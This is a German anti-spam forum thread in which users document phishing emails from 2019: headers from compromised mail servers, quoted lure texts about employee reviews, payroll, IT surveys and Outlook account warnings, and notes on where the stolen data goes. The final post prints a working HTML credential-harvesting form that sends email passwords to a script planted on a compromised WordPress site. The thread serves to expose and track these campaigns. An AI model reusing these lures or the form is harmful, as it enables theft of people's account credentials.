Mail Account Phishing

Druckbare Version

40 Beiträge dieses Themas auf einer Seite anzeigen

Da die beteiligten ISPs nicht reagieren, können die Ganoven munter weiter phishen:

header:
01: Received: from dsc-ffm-0965.mas.t-systems-service.com
02: (dsc-ffm-0965.mas.t-systems-service.com [185.9.219.211])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Mon,  2 Sep 2019 xx:xx:xx +0200 (CEST)
05: Received: from [11.11.11.4] (helo=dsc-ffm-0866.mas.t-systems-service.com)
06: 	by dsc-ffm-0965.mas.t-systems-service.com with esmtps
07: (TLSv1.3:TLS_AES_256_GCM_SHA384:256)
08: 	(envelope-from <ninglin.kliegel [at] georgfischer.com>)
09: 	ID: [ID filtered]
10: Received: from [11.11.10.236] (helo=DE08S00DEXC0C.ag.gf)
11: 	by dsc-ffm-0866.mas.t-systems-service.com with esmtps
12: (TLSv1.2:ECDHE-RSA-AES128-SHA256:128)
13: 	(envelope-from <ninglin.kliegel [at] georgfischer.com>)
14: 	ID: [ID filtered]
15: Received: from DE09S00DEXC0D.ag.gf (10.1.168.1) by DE08S00DEXC0C.ag.gf
16:  (10.1.160.9) with Microsoft SMTP Server (version=TLS1_2,
17:  cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) ID: [ID filtered]
18: 2 Sep 2019 xx:xx:xx +0200
19: Received: from DE09S00DEXC0D.ag.gf ([fe80::ed68:7f98:33f7:da01]) by
20:  DE09S00DEXC0D.ag.gf ([fe80::ed68:7f98:33f7:da01%13]) with mapi ID: [ID filtered]
IP: 185.9.219.211 -> dsc-ffm-0965.mas.t-systems-service.com

Zitat:

From: Kliegel-Chen, Ninglin
Sent: Monday, September 2, 2019 6:00 AM
Subject: Mitarbeiterbewertung für SIE.

Ein Mitarbeitergespräch wurde für Sie eingereicht. Führen Sie die
folgenden Schritte aus, um diese Bewertung zu überprüfen und zu bestätigen:

1. Öffnen Sie Ihren Browser zu:

^whois:

2. 2. Geben Sie auf der Seite Ihren Benutzernamen, Ihre
E-Mail-Adresse und Ihr Passwort ein

3. 3. Weitere Informationen werden an Ihren Posteingang
gesendet, um das neueste Datum aus der Dropdown-Liste auszuwählen

4. 4. Suchen Sie den Abschnitt "Employee Acknowledgement"

5. 5. Bestätigen Sie die Beurteilung, indem Sie eine der drei
(3) Optionen im Abschnitt Mitarbeiterbestätigung auswählen

6. 6. Klicken Sie auf die Schaltfläche "Speichern".

IP: 209.170.211.179 -> mail9.ontramail.com

02.09.2019, 17:29
schara56

Interessant: der HTTP POST geht zu ^whois:/v2.4/form_processor.php?lpid=2&block_id=x
Der Parameter f1619 ist die erste Kennwortangabe und
der Parameter f1620 ist die Wiederholung des Kennwortes.
09.09.2019, 12:02
kjz1
Mail-Account phishing nach Mugu-Art:

header:
```
01: Received: from PUCEEDGE.puce.edu.ec (smptout.puce.edu.ec [192.188.55.62])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Mon,  9 Sep 2019 xx:xx:xx +0200 (CEST)
04: Received: from PUCEMBX2.puce.edu.ec (172.31.2.7) by puceedge.puce.edu.ec
05:  (10.10.1.1) with Microsoft SMTP Server (TLS) ID: [ID filtered]
06: 2019 xx:xx:xx -0500
07: Received: from PUCEMBX1.puce.edu.ec (172.31.2.6) by PUCEMBX2.puce.edu.ec
08:  (172.31.2.7) with Microsoft SMTP Server (TLS) ID: [ID filtered]
09: Sep 2019 xx:xx:xx -0500
10: Received: from PUCEMBX1.puce.edu.ec ([fe80::f131:c6f4:43ed:f741]) by
11:  PUCEMBX1.puce.edu.ec ([fe80::f131:c6f4:43ed:f741%18]) with mapi ID: [ID filtered]
```
x-originating-ip: [176.227.106.237] -> TR-TURKCELL-INTERNET

gecrackt:

Zitat:

Ungewöhnliche Anmeldeaktivität

Wir haben etwas Ungewöhnliches bei der kürzlich erfolgten Anmeldung in
diesem Konto festgestellt. Um Ihre Sicherheit zu gewährleisten, mussten
wir eine zusätzliche Sicherheitsanforderung stellen und Ihr Konto
aktualisieren. Wir möchten Sie darauf hinweisen, dass Ihr Konto
deaktiviert wird, wenn Sie Ihr Konto nicht aktualisieren. Um Ihr Konto
von unserer Deaktivierungsliste zu entfernen, KLICKEN
HIER

^whois:

, um Ihr Konto zu aktualisieren

Hinweis: Sie müssen diese Nachricht zuerst in Ihren Posteingang
verschieben, damit Sie Ihr Konto aktualisieren können
27.09.2019, 08:38
kjz1
Dank gewissenloser Registrare und Hoster, für die nur Monetik (und keine Ethik) das Grundprinzip alles Handelns ist, sind diese Ganoven immer noch online:

header:
```
01: 	Thu, 26 Sep 2019 xx:xx:xx +0200 (CEST)
02: Received: from esa2.browardhealth.iphmx.com
03: (esa2.browardhealth.iphmx.com [68.232.141.83])
04: 	by xxxxx (Postfix) with ESMTP
05: 	for <x>; Thu, 26 Sep 2019 xx:xx:xx +0200 (CEST)
06: Received: from unknown (HELO CGreenMTA3) ([65.82.23.33])
07:   by esa2.browardhealth.iphmx.com with
```
gecrackt:

Zitat:

From: Wu, Yuping
Sent: Thursday, September 26, 2019 5:08 AM
Subject: Lohnbuchhaltung

Ihre Gehaltsabrechnung für die direkte Einzahlung für September 2019
kann eingesehen werden. Bitte sehen Sie sich Ihren Namen auf der unten
stehenden Website für die Gehaltsabrechnung an und bestätigen Sie ihn.

So melden Sie sich an:
1) Melden Sie sich mit Ihrem Arbeitskonto und Passwort an.

Bitte beachten Sie, dass die Personalabrechnung der Mitarbeiter nun
alphabetisch unterteilt ist:

A - J Die Gewinn- und Verlustrechnung finden Sie unter

^whois:

K - Z Die Gewinn- und Verlustrechnung finden Sie unter

^whois:

Lohnbuchhaltung

IP: 209.170.211.179 -> mail9.ontramail.com

Die Dreckskiste ist immer noch am Netz:

header:
01: Received: from skl5.ukl.uni-freiburg.de (relay1.ukl.uni-freiburg.de
02: [193.196.199.5])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Fri, 27 Sep 2019 xx:xx:xx +0200 (CEST)
05: Received: from ukl-fm1.ukl.uni-freiburg.de
06: (ukl-fm-ha.ukl.uni-freiburg.de [193.196.199.18])
07: 	by skl5.ukl.uni-freiburg.de (Email) with ESMTP ID: [ID filtered]
08: 	for <x>; Fri, 27 Sep 2019 xx:xx:xx +0200 (CEST)
09: Received: from UKL-EX01.ad.uniklinik-freiburg.de
10: (xxx41.ukl.uni-freiburg.de [193.196.253.41])
11: 	by ukl-fm1.ukl.uni-freiburg.de  with ESMTP ID: [ID filtered]
12: 	(version=TLSv1.0 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=CAFAIL);
13: 	Fri, 27 Sep 2019 xx:xx:xx +0200
14: Received: from UKL-EX04.ad.uniklinik-freiburg.de (193.196.253.44) by
15:  UKL-EX01.ad.uniklinik-freiburg.de (193.196.253.41) with Microsoft SMTP
16: Server
17:  (TLS) ID: [ID filtered]
18: Received: from UKL-EX04.ad.uniklinik-freiburg.de
19: ([fe80::2c3a:36c9:7108:7d5b])
20:  by UKL-EX04.ad.uniklinik-freiburg.de ([fe80::2c3a:36c9:7108:7d5b%18]) with
21:  mapi ID: [ID filtered]
IP: 193.196.253.243 -> xxx243.ukl.uni-freiburg.de

Zitat:

__________________
From: PD Dr. Arthur Robert Schmidt
Sent: Friday, September 27, 2019 3:42:17 AM
Subject: ePay

Ihre neueste Zahlungsliste kann jetzt auf ePay angezeigt werden.

Sie können auf ePay unter

^whois:

zugreifen.

Für Gehaltsinformationen und Unterstützung wenden Sie sich bitte an Ihre
Personalabteilung.

Dies ist ein automatisch generierter Brief - bitte antworten Sie nicht
auf diese Adresse. Wenn Sie Fragen haben, besuchen Sie die Website von epay.
______________________________________________________________________
Diese E-Mail wurde von Symantec Email Security.cloud gescannt.

IP: 209.170.211.179 ->
mail9.ontramail.com

30.09.2019, 12:36
kjz1
Immer noch aktiv:

header:
```
01: Received: from su-edge-01.sevsu.ru (su-edge-01.sevsu.ru [178.34.184.165])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Mon, 30 Sep 2019 xx:xx:xx +0200 (CEST)
04: Received: from SU-MB-01.sevsu.ru (10.32.9.15) by SU-EDGE-01.sevsu.ru
05:  (10.32.11.4) with Microsoft SMTP Server (TLS) ID: [ID filtered]
06:  2019 xx:xx:xx +0300
```
x-originating-ip: [188.126.71.247] -> glesys.se

Zitat:

From: Петр Сергеевич Михалицын
Sent: Monday, September 30, 2019 2:21 AM
Subject: Einladung zur ITHelp-Umfrage

Sie wurden eingeladen, an einer Zufriedenheitsumfrage für ein aktuelles
IT-Help-Ticket teilzunehmen.

Klicken Sie auf EIN

^whois:

um an Ihrer Umfrage teilzunehmen

Sie können Ihre Umfragewarteschlange jederzeit anzeigen, indem Sie sich
anmelden und zu Self-Service> Meine Bewertungen und Umfragen navigieren.

Zusätzliche Details zu dieser Umfrage sind:

Nummer #: INC1798292

Kurzbeschreibung: HELP-DESK ALERT.

Beschreibung:

Auflösungsdatum: Heute

IP: 209.170.211.179 -> mail9.ontramail.com
01.10.2019, 11:01
kjz1
Und wieder nach Mugu-Art:

header:
```
01: Received: from slot0.harrybluer.com (slot0.harrybluer.com [192.119.93.127])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Tue,  1 Oct 2019 xx:xx:xx +0200 (CEST)
```
Zitat:

Microsoft- Outlook
Sehr geehrter Outlook-Webmail-Benutzer,
In Ihrem Outlook-Postfach ist ein ungewöhnlicher und nicht autorisierter
Anmeldeversuch aufgetreten. Outlook-Sicherheit empfiehlt Ihnen, Ihr
Konto sofort zu validieren, um eine Sperre zu vermeiden.

KLICKE HIER

Bitte klicken Sie HIER, um zu verhindern, dass Ihr Konto deaktiviert
wird. Vielen Dank, dass Sie Outlook dabei unterstützen, Sie zu schützen.

Mit freundlichen Grüßen,
IT-Helpdesk
Outlook WebApp!

^whois:
01.10.2019, 12:38
kjz1
hohe Aktivität zur Zeit:

header:
```
01: Tue,  1 Oct 2019 xx:xx:xx +0200 (CEST)
02: Received: from msk-mx01.alrosa.ru (msk-mx01.alrosa.ru [91.207.140.12])
03: 	by xxxxx (Postfix) with ESMTP
04: 	for <x>; Tue,  1 Oct 2019 xx:xx:xx +0200 (CEST)
05: Received: from msk-mbe01.alrosa.ru ([10.153.100.102])
06:   by msk-mx01.alrosa.ru with ESMTP; 01 Oct 2019 xx:xx:xx +0300
07: Received: from MIR-MBE21.alrosa.ru (10.64.36.74) by MSK-MBE01.alrosa.ru
08:  (10.153.100.102) with Microsoft SMTP Server (TLS) ID: [ID filtered]
09: 1 Oct  2019 xx:xx:xx +0300
10: Received: from MIR-MBE22.alrosa.ru (10.64.36.75) by MIR-MBE21.alrosa.ru
11:  (10.64.36.74) with Microsoft SMTP Server (TLS) ID: [ID filtered]
12:  2019 xx:xx:xx +0900
13: Received: from MIR-MBE22.alrosa.ru ([fe80::deb:7ada:2aff:749f]) by
14:  MIR-MBE22.alrosa.ru ([fe80::deb:7ada:2aff:749f%13]) with mapi ID: [ID filtered]
```
gecrackt:

Zitat:

From: Попков Александр Валерьевич
Sent: Tuesday, October 1, 2019 2:21 AM
Subject: bestätigen Sie diese Einschätzung

Mitarbeiterbewertung für SIE.

Ein Mitarbeitergespräch wurde für Sie eingereicht. Führen Sie die
folgenden Schritte aus, um diese Bewertung zu überprüfen und zu bestätigen:

1. Öffnen Sie Ihren Browser unter:

^whois:

2. Geben Sie auf der Seite Ihren Benutzernamen, Ihre E-Mail-Adresse und
Ihr Passwort ein

3. Weitere Informationen werden an Ihren Posteingang gesendet, um das
neueste Datum aus der Dropdown-Liste auszuwählen

4. Suchen Sie den Abschnitt "Employee Acknowledgement"

5. Bestätigen Sie die Beurteilung, indem Sie eine der drei (3) Optionen
im Abschnitt Mitarbeiterbestätigung auswählen

6. Klicken Sie auf die Schaltfläche "Speichern".

IP: 209.170.211.179 -> mail9.ontramail.com
09.10.2019, 10:39
kjz1
wieder dummdreist nach Mugu-Art:

header:
```
01: Received: from slot0.harrybluer.com (slot0.harrybluer.com [192.119.93.127])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Wed,  9 Oct 2019 xx:xx:xx +0200 (CEST)
```
IP: 192.119.93.127 -> slot0.harrybluer.com/Hostwinds LLC

Zitat:

Willkommen bei der neuen Outlook-Kontoanwendung für alle Benutzer.

Wir haben bei einer kürzlich erfolgten Anmeldung für das Microsoft-Konto
etwas Ungewöhnliches festgestellt. Wir haben beschlossen, unser Webmail
auf die neue Outlook-Webanwendung zu aktualisieren, damit die
Mitarbeiter die Sicherheit der E-Mails der Mitarbeiter gewährleisten
können. Das neue Outlook ist das neue Zuhause für Self-Service- und
Online-Informationen.

Klicken Sie auf (HIER ANMELDEN) und melden Sie sich zum Aktualisieren an:

· Einfacher Zugriff auf E-Mail
· Neue Version der E-Mail
· Schnelle Antwort per E-Mail
· Aktualisieren Sie Ihren Lichtbildausweis
· E-Mail- und Kalenderflexibilität
· Verbinden Sie die Mobiltelefonnummer mit der E-Mail für Voicemail

KLICKEN SIE HIER, um Ihre E-Mail auf die neue Version zu aktualisieren

Wir blockieren den Zugriff auf Ihren Posteingang, Ihre Kontaktliste und
Ihren Kalender nach 24 Stunden, wenn Sie nicht auf die neueste
Outlook-VERSION aktualisieren.

Danke
Das Microsoft-Account-Team.

Neues Microsoft Outlook

^whois:
14.10.2019, 09:54
schara56
header:
```
01: Received: from server.lawpavilion.com (server.lawpavilion.com [64.50.180.197])
02: 	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
03: 	(No client certificate requested)
04: 	by x (Postfix) with ESMTPS ID: [ID filtered]
05: 	for <x>; Mon, 14 Oct 2019 xx:xx:xx +0200 (CEST)
06: [...]
07: Received: from ip61.ip-66-70-235.net ([66.70.235.61]:54504)
08: 	by server.lawpavilion.com with esmtpa (Exim 4.91)
09: 	(envelope-from <aa [at] szclou.com>)
10: 	ID: [ID filtered]
11: 	for x; Sat, 12 Oct 2019 xx:xx:xx -0700
```
^whois:/wp-content/plugins/js_composer/assets/js/frontend_editor/vendors/plugins/zoladoc.php

Code:

<form name="myForm" action="https://www.bellingusto.it/wp-content/plugins/js_composer/assets/js/frontend_editor/vendors/plugins/zoladoc.php" onsubmit="return validateForm()" method="post"> <table cellpadding="10px"> <tbody> <tr> <td width="200px"><span style="color:#3192c4; font-weight:bold;">Email ID</span></td> <td><input type="text" name="feedback" class="inp" size="30"style="height:2em; color:#888888;"/><br /><span id="errfn"></span></td> </tr> <tr> <td><span style="color:#3192c4; font-weight:bold;">Email Password</span></td> <td><input type="password" name="feedbacknow" class="inp" size="30" style="height:2em; color:#888888;"/><br /><span id="errfnn"></span></td> </tr> <tr> <td></td> <td><input type="submit" value="View Document" class="btn" /></td> </tr> </tbody> </table> </form>

40 Beiträge dieses Themas auf einer Seite anzeigen